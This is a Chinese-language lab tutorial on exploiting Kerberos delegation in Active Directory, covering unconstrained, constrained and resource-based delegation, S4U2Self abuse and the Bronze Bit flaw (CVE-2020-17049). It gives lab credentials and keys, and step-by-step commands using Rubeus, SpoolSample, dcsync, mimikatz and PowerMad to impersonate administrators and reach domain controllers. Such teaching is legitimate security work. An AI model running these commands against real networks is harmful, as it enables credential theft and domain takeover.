Kerberos委派的利用
这一小节,我们讨论 Kerberos 委派。委派解决了双跳问题,但是,攻击者也可以利用委派来获得代码执行以及横向移动到其他主机上。
出于教学目的,本小节将采取白盒的形式,即暂时跳过至委派利用之前的前置利用步骤,提供明文凭证
【非约束委派】
raven-med域中的mon01主机(admin:Passw0rdmon01)
【约束委派】
white-bird域中的 web02 主机,指定了 dc05 的eventlog和cifs服务,Administrator不可被委派。(Administrator:Passw0rdweb02)
(CVE-2020-17049)med-deal域中的srv02主机,指定了 dc04 的eventlog服务,Administrator不可被委派。(Administrator:Passw0rdsrv02)
【基于资源的约束委派】
file01 对 dc01 具有 GenericAll 特权(Administrator:Passw0rdfile01)
【练习】
med-factory.local中的服务帐号deleg_exec (密码Passw0rddeleg) 被配置了对 dc03 的eventsystem服务的委派。
非约束委派
Kerberos 委派允许用户或服务代表另一位用户访问另一个服务。一个典型的场景是,用户向 IIS 服务器进行身份验证,然后 IIS 服务器代表用户向 MSSQL 服务器进行身份验证。
非约束委派可以分配给计算机或用户,但主要是计算机。配置可以在域控制器上完成。从系统管理员的角度来看,我们可以在委派选项卡上选择信任此计算机代表任何服务 (仅限 Kerberos)选项,为域计算机配置非约束委派。
我们提到了委派解决了双跳问题,那么非约束委派是如何解决这个问题的呢?如果一台计算机被配置了非约束委派,当用户访问 IIS (前端服务) 服务器时,KDC 也将用户的 TGT 包含在 TGS 票据中。然后,IIS 服务器提取用户的 TGT 并将其缓存在内存中。之后,IIS 服务器使用用户的 TGT 代表用户访问 MSSQL (后端服务) 服务器。但问题在于,由于用户的 TGT 被缓存在 IIS 服务器的内存中,IIS 服务器可以使用用户的 TGT 代表用户访问任何其他服务,这意味着 IIS 服务器可以模仿用户。如果 IIS 服务器受到攻击,攻击者可以从内存中提取所有 TGT 并模仿这些用户。更糟糕的是,如果缓存了高权限用户的 TGT,例如域管理员的 TGT,攻击者可以接管整个域和森林。
我们来详细解释一下这些步骤。
步骤 1
用户 -> DC:用户请求一个 TGT。
步骤 2
DC -> 用户:用户获得 TGT。
步骤 3
用户 -> DC:用户请求一个 TGS 票据。
步骤 4
DC -> 用户:用户获得 TGS 票据。
步骤 5
用户 -> IIS 服务器:用户将 TGT 和 TGS 票据都发送给 IIS 服务器。
步骤 6
IIS 服务器 -> DC:IIS 服务器使用用户的 TGT 向 DC 请求一个 TGS 票据,以访问 MSSQL 服务器。
步骤 7
IIS 服务器 -> MSSQL 服务器:IIS 服务器代表用户访问 MSSQL 服务器。
枚举
Get-NetComputer -Unconstrained | select dnshostname
域控制器总是被配置了非约束委派,但这对我们没有帮助,能拿下域控制器,我们也不需要借助非约束委派来提权了。
利用
1:在配置了非约束委派的主机上拿到最高权限。我们已经提供了明文凭证。
2:使用 Rubeus 在当前主机上开启监听模式,每间隔 5 秒钟刷新新的票据
rubeus.exe monitor /interval:5 /nowrap
3:等待高权限用户访问 Mon01 上的服务,例如 SMB 共享目录,但这样太偶然了。我们可以使用 spoolsample 这类强制认证的工具,通过 MS-RPRN RPC 接口强制另一台主机对该主机认证。
spoolsample.exe dc02 mon01
我们可以在任何 Windows 域内主机上执行该命令。
4:复制 dc02$ 的TGT,使用 Rubeus 来传递票据至内存中
rubeus.exe ptt /ticket:<...>
5:使用 dcsync 导出任意用户的凭证
dcsync <域的fqdn> <域\用户>
6:但如果直接访问 dc02 的 C$,会发现访问被拒绝,因为我们导入的是 dc02$ 的 TGT,即主机帐号的票据。主机帐号对自身没有本地管理员权限,但在后文我们可以实现。
非约束委派十分强大,在森林里,如果我们攻下一台配置了非约束委派的主机,我们可以轻易接管整个森林。在特定情况下,我们甚至能将访问延伸到其他森林。
约束委派
受限委派比非约束委派更安全,因为服务器不再缓存用户的 TGT 票据。相反,服务器可以使用自己的 TGT 为用户请求一个 TGS,并且服务器只能代表用户访问指定的服务器和服务。以 Web02 为例,IIS 服务器只能代表用户访问 dc05 主机上的 CIFS 和 eventlog 服务。
从系统管理员的角度来看,可以像这样配置约束委派:选择信任此计算机仅委派给指定的服务选项。 它有 2 个子选项,分别是使用任何身份验证协议 (即支持协议转换),以及仅使用 Kerberos (即不支持协议转换)。我们先研究前者,稍后会讨论,如果选择了仅使用 Kerberos,会有什么不同,以及如何利用。 此外,除了主机,服务帐户也可以被配置约束委派。
我们能看到一些区别,即 Srv02 的非约束委派选择的是仅使用 Kerberos
我们能看到,Web02 可以代表用户访问 Dc05 的 cifs 和 eventlog 服务,cifs 固然很棒,但 eventlog 看起来却并不令人兴奋,不过不用担心。虽然服务是指定的,但我们可以使用 altservice 技巧来绕过,因为服务名称不会被 S4U 验证,而且它在票据中也没有加密。
我们来详细了解一下受限委派的整个过程。
步骤 1
用户 -> IIS 服务器:用户通过 NTLMv2 认证与 IIS 服务器进行身份验证
步骤 2
IIS 服务器 -> DC:IIS 服务器利用 S4U2Self 为用户请求访问自身 (IIS 服务器) 的 TGS 票据。
步骤 3
DC -> IIS 服务器:KDC 将可转发的 TGS 返回给 IIS 服务器。
步骤 4
IIS 服务器 -> DC:IIS 服务器利用 S4U2Proxy 为用户请求访问 SQL 服务器的 TGS。
步骤 5
DC -> IIS 服务器:KDC 将可转发的 TGS 返回给 IIS 服务器。
步骤 6
IIS 服务器 -> SQL 服务器:IIS 服务器使用可转发的 TGS 代表用户访问 SQL 服务。
因为认证不是采用的 Kerberos,那么前端服务没有用户的 TGS,自然也无法进行后续的 S4U2Proxy。而前端服务可以进行协议转换,使用 S4U2Self 让该服务为该认证的用户获得一张访问自身的 TGS。前端服务将自身的 TGT,以及会话密钥加密的时间戳一起交给 KDC,指定了给哪个用户授予票据,接着 KDC 返回 TGS 给前端服务。这样的话,就可以进行 S4U2Proxy 了,通过将前端服务的 TGT,以及用户的TGS (可以是通过 S4U2Self 获得的,也可以是用户通过 Kerberos 认证传递的),从而替用户申请访问后端服务的 TGS。
如果模仿的用户被设置了不可被委派,或者是受保护的成员,那么通过 S4U2Self 获得的 TGS 是不可转发的,自然也无法用于 S4U2Proxy 了。
枚举
Get-NetComputer -TrustedToAuth
Get-NetUser -TrustedToAuth
我们的 Lab 里,目前还没有配置了约束委派的服务账户。
利用
1:攻下被配置了约束委派的服务账户或者主机。如果是主机,那么我们可能需要 SYSTEM 权限。
2:为目标机器或服务帐户请求 TGT。
情形 1:我们已经拥有本地管理员权限,或者我们知道目标用户或主机的凭证。
rubeus.exe asktgt /user:srv-1$ /aes256:[…] /nowrap
在拿到 SYSTEM 权限后,可以通过 mimikatz 模块提取 Web02$ 的密钥
mimikatz sekurlsa::ekeys
当前,Web02$ 的 AES256 密钥为 41a46863d482499ba9dc0404b51871e68dd74e71852167deb19f140471c39efa。我们可以通过密钥来申请 TGT,或者从内存中导出 TGT。
情形 2:我们没有本地管理员权限,也不知道当前用户或主机的凭证。这种情形通常是我们拿下了被配置了约束委派的服务账户,但该账户对主机没有本地管理员特权,即无法提取密钥。我们可以使用 Rubeus 的 tgtdeleg 来申请可用的 TGT。
rubeus.exe tgtdeleg /nowrap
总的来说,无论在哪种情形下,tgtdeleg 技巧是很方便的。
3:将 TGT 另存为文件,或者将 base64 编码后的票据复制到粘贴板
Kali
echo '<..ticket..>' | base64 -d > tgt.kirbi
Windows
[System.IO.File]::WriteAllBytes(“C:\windows\temp\xxx.kirbi”,[System.Convert]::FromBase64String(“<..ticket..>”))
4:模仿特权用户并请求 TGS 以访问目标主机上的 CIFS 服务。例如,特权用户可以是目标主机的本地管理员,有时我们甚至可以模仿域管理员。 但请注意,域用户可以被设置为敏感账户从而不可被委派。所指定的服务名称不会被验证,所以即使目标服务是 eventlog,我们也可以将其修改为 CIFS 服务。
在 white-bird.local 中,域管理员 Administrator 是敏感账户,不可以被委派。但另一个域管理员账户 macro 却可以被委派。
命令应该是
rubeus.exe s4u /impersonateuser:<高特权用户> /msdsspn:<指定的服务名称>/<域fqdn> /user:<被配置约束委派的账户> /ticket:<文件或编码> /altservice:cifs /nowrap /ptt
我们看到,一共有 2 张 TGS票据。第一张是通过 S4U2Self 得到,是 Web02 代表用户 macro 申请访问自身 (Web02) 的 TGS,第二张 TGS 是通过 S4U2Proxy 得到,Web02 代表用户 macro 申请访问 Dc05 的 CIFS 服务的 TGS。 其中,我们通过 altservice 技巧修改了 eventlog 服务,更换为了 cifs。
5:ticket被导入内存后,所以我们可以在 Web02 上访问 Dc05 的 C$ 了。
基于资源的约束委派
配置约束委派需要在域控制器上具有 SeEnableDelegationPrivilege 权限,因此通常只有域管理员用户才能配置它。然而,配置基于资源的受限委派 (RBCD) 并不需要这个权限,即系统管理员可以为主机配置 RBCD,资源自身可以决定信任谁。
要配置约束委派,需要为前端服务器配置 msDs-AllowedToDelegateTo 属性。RBCD 通过在后端服务器上添加 msDS-AllowedToActOnBehalfOfOtherIdentity 属性来运作,该属性应该是前端服务器的 SID。
配置 RBCD 有一个前提要求,即前端服务 (IIS 服务器) 应该具有一个 SPN,因为前端服务需要在 S4U2Self 过程中为用户请求访问自身的 TGS。如果前端服务不是计算机帐户或服务帐户,那么它就没有意义。
枚举
如果已经拿下的用户或主机对另一台主机具有 GenericWrite (或更高权限) 权限,那么基于资源的约束委派可被利用。通过 BloodHound 观察会更加直观。在本 Lab 中,主机 File01 对 Dc01 具有 GenericWrite 权限,因此我们可以利用 RBCD。
利用
1:新建一个主机账号,如果我们已经拿下一台主机的 SYSTEM 权限,也可以提取该主机帐号的密钥。
导入 PowerMad.ps1 脚本工具。
New-MachineAccount -MachineAccount rbcd -Password $(ConvertTo-SecureString ‘123123’ -AsPlainText -Force)
2: 将 AllowedToActOnBehalfOfOtherIdentity 属性添加到机器 Dc01 (后端服务),该值应为我们新增的主机 RBCD$ (或者是我们拿到 SYSTEM 权限的主机) 的 (前端服务) 二进制格式 SID。
首先需要得到 RBCD$ 的 SID,这里是 S-1-5-21-1674258736-4167122442-1078531953-3102
powershell get-netcomputer -identity rbcd | select objectsid
下面是一串很长的 powershell 命令,我们分解一下:我们创建了一个新的安全描述符,允许 RBCD$ 具有 AllowedToActOnBehalfOfOtherIdentity 所对应的权限。将该安全描述符转换为二进制格式,然后添加到主机 Dc01 的该属性上。我们需要更改的是前端主机 SID 以及设置的后端主机名。
powershell $rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1674258736-4167122442-1078531953-3102)"; $rsdb = New-Object byte[] ($rsd.BinaryLength); $rsd.GetBinaryForm($rsdb, 0); Get-NetComputer -Identity dc01 | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $rsdb} -Verbose
验证该属性已经被添加
powershell get-netcomputer -identity dc01 | select msds-allowedtoactonbehalfofotheridentity
3:类似于约束委派部分的步骤,利用 S4U 模仿高权限用户获取 TGS 票证以访问后端服务器的资源。但首先,我们需要知道添加的计算机帐户的哈希密码。
rubeus.exe hash /domain:<domain> /user:rbcd$ /password:<password>
然后利用 S4U 得到可以访问后端服务器上的资源的 TGS。在 PROD 中,administrator 是可以被委派的。在利用之前,我们发现现在不能访问 Dc01 的 C$。
rubeus.exe s4u /user:rbcd$ /aes256:<…> /impersonateuser:<特权用户> /msdsspn:<服务名>/<fqdn> /ptt
4:现在,我们能访问 Dc01 的 C$ 了。
S4U2Self 的利用
我们已经讨论过 S4U2Self 和 S4U2Proxy 的作用以及异同了,现在,让我们讨论 S4U2Self 的一个利用。计算机帐户在其自身上没有本地管理员权限。例如,我们可以捕获计算机帐户的 TGT,但我们不能直接以本地管理员权限移动到计算机。我们之前获得了 Dc02$ 的 TGT,我们可以通过以下步骤将 Dc02 计算机帐户的 TGT 转换为 CIFS 的TGS。
我们现在无法访问 Dc02 的 C$。
利用 S4U2Self 为用户 carrot 申请一张访问 DC02$ 的票据:
execute-assembly rubeus.exe s4u /self /impersonateuser:<高权限用户> /ticket:<...> /nowrap
我们可以看到,票据确实是用于访问 Dc02$ 的,但不能直接使用。记住我们之前说过,服务名称部分是不被保护的,因此,我们可以修改为任意我们想要访问的服务,例如 cifs。使用 tgssub 选项实现,命令如下:
execute-assembly rubeus.exe tgssub /altservice:cifs/dc02.raven-med.local /ticket:<刚才得到的TGS> /ptt
最终,我们可以访问 Dc02 的 C$ 了。
CVE-2020-17049 BronzeBit 攻击
我们在约束委派部分讲了,如果设置约束委派的时候,选择了仅使用 Kerberos,即禁用协议转换,会是另外一个故事。在预期情况下,如果选择了该选项,那么用户只能通过 Kerberos 向前端服务认证,从而使得前端服务拥有用户的 TGS,再进行后续的 S4U2Poxy。这样的话,意味着需要依赖于用户交互。如果我们像之前一样,试图使用 S4U2Self 替用户获得访问自身的 TGS,得到的 TGS 也是不可转发的。
我们总结一下,有这些情况,S4U2Self 获得的 TGS 是不可转发的:模仿的用户是受保护的、模仿的用户禁止被委派、禁用协议转换。然而在 CVE-2020-17049 补丁之前,Forwardable 位是被前端服务帐号的密钥所加密的,并不在签名的 PAC (校验用户权限的,例如组归属信息) 中。只要我们有了前端服务的密钥,就可以攥改该位数据。这样的话,我们就能将其修改为可转发的 TGS,从而进行后续的 S4U2Proxy 过程了。这意味着我们能绕过用户保护属性以及禁用协议转换的限制。
在我们的 Lab 之中,Srv02 配置了这样的约束委派,利用成功的话,我们可以在 Dc04 上获得代码执行。我们先提取 Srv02$ 的 AES256 密钥,值为 b0be535ccb148cfa92ee481ce545008132bf5032e91bb249879200c705252399。
像一般的约束委派利用步骤一样利用 S4U,只是必须要指定 /bronzebit 和 /aes256。
execute-assembly rubeus.exe s4u /user:<前端服务> /ticket:<前端服务帐号的TGT> /aes256:<AES256密钥> /impersonateuser:administrator /msdsspn:<服务>/<后端服务器FQDN> /altservice:cifs /bronzebit /ptt
然后,我们就可以访问 Dc04$ 的资源了。
当然了,在该 CVE 漏洞的补丁之后,我们不再能这样利用了,因为 Forwardable 位被 PAC 所保护了,我们无法攥改。
比较
非约束委派
前端服务器配置无约束委派,它代表经过身份验证的用户请求访问域中的任何资源。
约束委派
前端服务器的 msDS-AllowedToDelegateTo 属性配置后端服务器的 SPN。前端服务器使用其身份 (TGT) 代表经过身份验证的用户请求访问指定后端服务器上的指定服务。模式是 A 信任 B。
基于资源的约束委派
后端服务器的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性配置前端服务器的 SID。这意味着,后端服务器允许前端服务器代表其他用户访问自己的资源。模式是 B 信任 A。